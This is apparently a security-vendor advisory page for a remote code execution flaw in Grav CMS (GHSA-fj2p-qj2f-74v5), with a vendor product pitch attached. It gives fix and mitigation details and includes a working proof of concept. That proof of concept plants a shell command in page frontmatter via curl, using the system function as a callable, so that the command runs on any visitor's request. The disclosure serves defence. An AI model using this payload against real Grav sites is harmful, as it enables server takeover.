GHSA-fj2p-qj2f-74v5
Fix: getgrav/grav@acffa34GHSA-fj2p-qj2f-74v5 is a Code Injection vulnerability in getgrav/grav. O3 Security confirms whether GHSA-fj2p-qj2f-74v5 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()
Real-World Exposure
getgrav/gravReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An account with the admin.pages permission (or api.pages.write) can run shell
commands on the server. The command executes whenever anyone — including an
unauthenticated visitor — opens the page.
Details
Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes
a Class::method string and its arguments straight to call_user_func_array()
with no allowlist. The form plugin runs page frontmatter through this path
(form/classes/Form.php:432), so a page author controls the input.
Grav\Common\Utils::arrayFilterRecursive($source,$fn)
(system/src/Grav/Common/Utils.php:1169) is a public static that calls
$fn($key,$value), so passing system as $fn and a command as the array key
runs the command.
PoC
Placeholders: <BASE_URL> the site; <SESSION_COOKIE> an admin session cookie
for an account with admin.pages; <ADMIN_NONCE> the admin-nonce on any admin
page (window.GravAdmin.config.admin_nonce).
Save a "form" page whose field carries the callable directive:
curl '<BASE_URL>/admin/pages/rcepoc' \
-H 'Cookie: <SESSION_COOKIE>' \
--data-urlencode 'task=save' \
--data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
--data-urlencode 'data[folder]=rcepoc' \
--data-urlencode 'data[name]=form' \
--data-urlencode 'data[title]=x' \
--data-urlencode 'data[content]=hi' \
--data-urlencode "data[frontmatter]=forms:
x:
fields:
y:
type: text
data-opts@:
- 'Grav\Common\Utils::arrayFilterRecursive'
- { 'echo GRAV-RCE-OK; id': 'x' }
- system"
Trigger it as an unauthenticated visitor:
curl '<BASE_URL>/rcepoc'
Success check: the GET response body begins with GRAV-RCE-OK followed by the
web-server user's id output (a line starting uid=...) — the command ran
during the unauthenticated request and its output is reflected in the response.
Impact
Shell command execution as the web-server user, triggered by any visit to the
page, plantable by any holder of admin.pages or api.pages.write.
Trust boundary: crossed. admin.pages (or api.pages.write) grants page
editing, not code execution; the holder plants the payload and the code runs at
request time on any later view of the page.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | getgrav/grav | all versions | 2.0.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update getgrav/grav to 2.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fj2p-qj2f-74v5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fj2p-qj2f-74v5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fj2p-qj2f-74v5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fj2p-qj2f-74v5 in your dependencies?
O3 detects GHSA-fj2p-qj2f-74v5 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.